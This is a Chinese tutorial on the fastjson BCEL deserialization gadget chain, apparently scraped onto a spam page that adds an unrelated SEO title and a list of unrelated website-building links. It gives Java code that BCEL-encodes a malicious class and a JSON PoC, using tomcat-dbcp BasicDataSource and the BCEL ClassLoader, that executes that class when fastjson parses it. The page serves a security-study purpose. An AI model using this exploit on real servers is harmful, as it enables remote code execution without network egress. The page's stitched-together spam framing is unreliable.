当前位置: 首页 > news >正文

网站建设受众关键词是指什么

网站建设受众,关键词是指什么,网站建设app销售好做吗,深圳开发app的公司前言 众所周知fastjson公开的就三条链,一个是TemplatesImpl链,但是要求太苛刻了,JNDI的话需要服务器出网才行,BCEL链就是专门应对不出网的情况。 实验环境 fastjson1.2.4 jdk8u91 dbcp 9.0.20 什么是BCEL BCEL的全名应该是…

前言

众所周知fastjson公开的就三条链,一个是TemplatesImpl链,但是要求太苛刻了,JNDI的话需要服务器出网才行,BCEL链就是专门应对不出网的情况。

实验环境

fastjson1.2.4

jdk8u91

dbcp 9.0.20

什么是BCEL

BCEL的全名应该是Apache Commons BCEL,它是一个库。这个库里面有类叫com.sun.org.apache.bcel.internal.util,而这个类里面有一个classLoader类,ClassLoader类里面有一个loadClass方法,如果满足class_name.indexOf("$$BCEL$$") >= 0,那么就会调用createClass这个方法。

我们跟踪进createClass方法看看,可以看到这里会对进来的数据进行解码,所以我们传payload时要进行编码。

所以我们BCEL代码应该是这样的,这里读取盘下的Evil.class文件,然后经过BCEL编码,再加上$$BCEL$$去绕过我们前面的if判断使其解码,最后再借助classLoader.loadClass去加载我们的恶意代码。可能不知道我在说啥,我说白了就是,在不出网的环境中你主机无法去请求http的资源,那么我就把恶意代码转换成字节码传进去,通过调用里面的方法使其执行。

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class fastjsonBcel {public static void main(String[] args) throws Exception {//不考虑fastjson情况就正常调用该类ClassLoader classLoader = new ClassLoader();byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));String code = Utility.encode(bytes,true);classLoader.loadClass("$$BCEL$$"+code).newInstance();//将文件转为字节码数组public static byte[] fileToBinArray(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

fastjson

那么我们该如何把这个方法和fastjson结合起来呢,可以结合tomcat-dbcp这个类进行组合达到触发fastjson,tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法,而getConnection()方法在返回的时候又会调用createDataSource()方法。

而createDataSource()方法又调用了createConnectionFactory()方法。

继续跟踪,查看createConnectionFactory()方法,可以看到这里有两个参数

this.driverClassName和this.driverClassLoader。

通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的。

直接看poc,我们对这个s字符串进行反序列化,成功执行代码。

public class fastjsonBcel {public static void main(String[] args) throws Exception {byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));String code = Utility.encode(bytes,true);String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";JSON.parseObject(s);}

这里解释一下poc,指定类org.apache.tomcat.dbcp.dbcp2.BasicDataSource是为了控制上面我们说的driverClassName和driverClassLoader这两个参数,然后还指定了com.sun.org.apache.bcel.internal.util这个类,目的是触发里面的ClassLoader类和loadClass方法,使其加载我们的恶意代码,加上$$BCEL$$是为了绕过if判断,而由于触发方法会经过编码,所以我们要解码。

{{"aaa": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",//这里是tomcat>8的poc,如果小于8的话用到的类是//org.apache.tomcat.dbcp.dbcp.BasicDataSource"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$..."}}: "bbb"
}

总结

原理不算难,说大白话就是把恶意类变成一串字符 用bp直接发过去就行,但是如果要深究怎么触发方法的话就有点难度了,因为要代码审计。

最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

http://www.yayakq.cn/news/671761/

相关文章:

  • 青岛免费建站海南七星彩网站建设
  • 做展馆好的设计网站做网站的宽度为多少钱
  • 常平镇网站仿做山东东营市经济怎么样
  • 绍兴做网站多少钱h5制作软件app手机版
  • 如何进行电子商务网站推广网页制作工具哪些好用
  • 建行官方网站登录濮阳到上海
  • 做公司网站要钱吗动图制作网站
  • 网站建设合伙合同知名网站建设企业多少钱
  • 网站公司 北京360免费wifi上不了网
  • 苏州能做网站网站推广seo软件
  • win7可以做网站吗张家港网站推广优化
  • 网站建设业务培训无锡互联网企业
  • 做dhl底单的网站是 什么衡水seo外包
  • 云南专业建网站网站关键词优化怎么弄
  • 网站建设说全景效果图网站
  • 做网站编辑要会什么wordpress的发件邮箱是多少
  • 植物提取网站做的比较好的厂家微营销工具有哪些
  • 网站服务器时间在哪里查询论文收录网站有哪些
  • 易企秀网站开发凡客建站官网登录入口
  • 品牌查询网站 优帮云开发微信小程序多少钱
  • 打开网站提示建设中设计师常看的网站
  • 企业网站客户案例便宜虚拟主机做网站备份
  • 扬州市做网站企业网站改版
  • 网站备案转移网上商城网站建设解决方案
  • 榆林市网站seowordpress页面添加新闻
  • 做网站多少钱角西宁君博特惠企业网站建设对企业客户的意义
  • 滴滴出行的网站是哪家公司做的wordpress 修改 点击量
  • 创建网站服务器地址下载中心
  • 入侵网站做排名下载好了网站模板怎么开始做网站?
  • 编程猫官网seo包年优化费用